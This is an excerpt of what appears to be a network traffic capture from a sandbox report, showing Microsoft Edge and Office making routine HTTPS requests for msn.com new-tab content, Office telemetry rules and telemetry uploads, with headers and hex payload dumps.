2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 46 92 5e b8 e0 9c e2 ad 15 94 13 f7 91 9c 94 5f a9 f5 ea 3c b5 2d 7a 16 45 02 7b 55 27 15 8e ce 12 96 57 b5 ed 7d 5a 37 20 be d5 da 76 8a c3 6b 4e a8 ea 1e ca d9 d8 58 41 6f c7 17 de f4 3c f3 65 66 be 1f 82 cb bd 90 43 c7 0b 59 78 3d b2 f7 0f 7b be 6b 3c 92 d5 ef 04 e2 e3 39 2e ac 2f 7e f5 be da 5e b0 83 52 8e db c2 36 ba bf cf 58 07 cb e3 2f c0 33 d2 f4 2d cb bd 82 bb bb dc de 9d fb 3a 5f 84 4d ab 39 3c 21 c9 59 c9 fb 6f 92 03 f0 90 15 c0 f6 9e 61 80 80 06 32 40 81 80 8a 28 92 80 08 18 08 44 43 28 43 34 10 00 c2 90 c6 20 86 31 01 14 c0 00 a0 24 60 19 05 08 02 98 08 61 00 80 00 63 01 80 80 62 0a 63 18 c0 45 00 04 21 81 40 2b 16 20 00 0d e1 6d 25 00 25 61 88 41 14 21 08 8a 40 00 4b 00 c4 22 34 77 10 86 40 87 71 5c 90 00 10 80 00 40 03 10 00 00 5c 42 2a 59 Data Ascii: F^_<-zE{U'W}Z7 vkNXAo<efCYx={k<9./~^R6X/3-:_M9<!Yoa2@(DC(C4 1$`acbcE!@+ m%%aA!@K"4w@q\@\B*Y
2024-11-15 15:16:31 UTC	16192	IN	Data Raw: a5 4e 32 77 95 a5 36 b4 47 75 97 6d 88 34 fc b6 a7 3f 55 59 e1 15 fe 15 a9 66 c1 7e 8b 72 7e ba b5 3d 9b 96 a8 a2 14 b7 d5 92 bc 9e 10 8e 69 68 e7 de c7 7f 25 6d 4a d2 ab 3c 12 f6 6a 8a cd 91 52 d3 a3 4e 51 4f 6a ad 5b e3 ad e1 7c 37 46 2b 70 e4 9c 29 d3 a1 17 79 bb 2d ad 09 75 a5 ab f1 05 6a 11 da 9f aa a4 b0 d6 f4 28 ea e8 c2 17 a1 79 cb d5 56 6f 72 f9 2d 4b 32 8d 95 9d 92 fc b8 7f 9a 5e d0 57 72 db 6a ed 75 63 92 ef d6 73 45 79 11 d9 5e aa 95 1b 69 64 af f2 8c 4b 9b f2 20 a9 c3 d5 52 a5 f1 d7 9c 9f 70 1b 53 5b 5c 4c a4 f1 4a 29 5f c2 f3 8a f9 98 f0 df a9 56 bd 67 bd 4a 54 e3 fb 30 f7 bb 84 df dd a8 28 47 19 c9 6c c6 fb dc 9e 6f e6 c2 cf 86 e1 d5 38 63 52 4b 65 6b 6f 7c 9f cd 80 f8 59 79 b1 9d 48 e1 2a 8d ed 3f 0d b0 b7 37 cc ba 6d 4e 2e 30 c2 09 b4 df Data Ascii: N2w6Gum4?UYf~r~=ih%mJ<jRNQOj[\|7F+p)y-uj(yVor-K2^WrjucsEy^idK RpS[\LJ)_VgJT0(Glo8cRKeko\|YyH*?7mN.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49860	20.96.153.111	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=078A6178E4B266BF224E7440E5C7676D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=83299574464d407be4581e354544e4e3 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1
2024-11-15 15:16:31 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2556 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425505653-T700376487-C128000000002481309+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002481309+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 15 Nov 2024 15:16:31 GMT Connection: close
2024-11-15 15:16:31 UTC	2556	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 6f 6b 79 6f 2c 20 4a 61 70 61 6e 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 54 6f 6b 79 6f 2b 4a 61 70 61 6e 26 66 6f 72 6d 3d 4d Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Tokyo, Japan\",\"cta\":\"https:\/\/www.bing.com\/search?q=Tokyo+Japan&form=M

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:31 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151631Z-16547b76f7frbg6bhC1DFWr5400000000n8g00000000a1bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:31 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:31 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f331b341-a01e-0070-670c-36573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151631Z-1866b5c5fbbqmbqjhC1DFWwgvc00000000zg00000000ep28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:31 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151631Z-1866b5c5fbbfhwqqhC1DFW513800000000yg000000004zpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7bf77406-901e-0083-6cab-36bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151631Z-16547b76f7fhvzzthC1DFW557000000001h000000000gf47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:31 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151631Z-16547b76f7ffx24hhC1DFW9px4000000011g00000000ak86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:31 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49875	20.125.209.212	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	1271	OUT	GET /c.gif?rnd=1731683788795&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3401cc7bbd34493991b5e892ac0c3af8&activityId=3401cc7bbd34493991b5e892ac0c3af8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B04EC9CD06994D6898AC696A988E9A60&MUID=078A6178E4B266BF224E7440E5C7676D HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1; SM=T; _C_ETH=1
2024-11-15 15:16:32 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=078A6178E4B266BF224E7440E5C7676D; domain=.msn.com; expires=Wed, 10-Dec-2025 15:16:32 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=078A6178E4B266BF224E7440E5C7676D; domain=c.msn.com; expires=Wed, 10-Dec-2025 15:16:32 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Fri, 22-Nov-2024 15:16:32 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Fri, 15-Nov-2024 15:26:32 GMT; path=/; SameSite=None; Secure; Date: Fri, 15 Nov 2024 15:16:32 GMT Connection: close Content-Length: 42
2024-11-15 15:16:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49876	20.189.173.8	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683791067&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10906 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1; _C_ETH=1
2024-11-15 15:16:32 UTC	10906	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 35 54 31 35 3a 31 36 3a 33 31 2e 30 36 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 63 65 30 38 64 66 65 2d 63 62 65 36 2d 34 37 66 35 2d 62 36 30 63 2d 39 38 39 66 39 37 32 62 33 38 39 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 36 38 31 33 38 32 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-15T15:16:31.066Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"ece08dfe-cbe6-47f5-b60c-989f972b389a","epoch":"2636813825"},"app":{"locale
2024-11-15 15:16:32 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6581f933caf14630acdaf362b148135d&HASH=6581&LV=202411&V=4&LU=1731683792654; Domain=.microsoft.com; Expires=Sat, 15 Nov 2025 15:16:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=dc36c8acada24e5eadb575b0c0d250e5; Domain=.microsoft.com; Expires=Fri, 15 Nov 2024 15:46:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1587 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 15 Nov 2024 15:16:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49877	20.189.173.8	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683791083&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 31059 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1; _C_ETH=1
2024-11-15 15:16:32 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 35 54 31 35 3a 31 36 3a 33 31 2e 30 37 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 63 65 30 38 64 66 65 2d 63 62 65 36 2d 34 37 66 35 2d 62 36 30 63 2d 39 38 39 66 39 37 32 62 33 38 39 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 36 38 31 33 38 32 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: 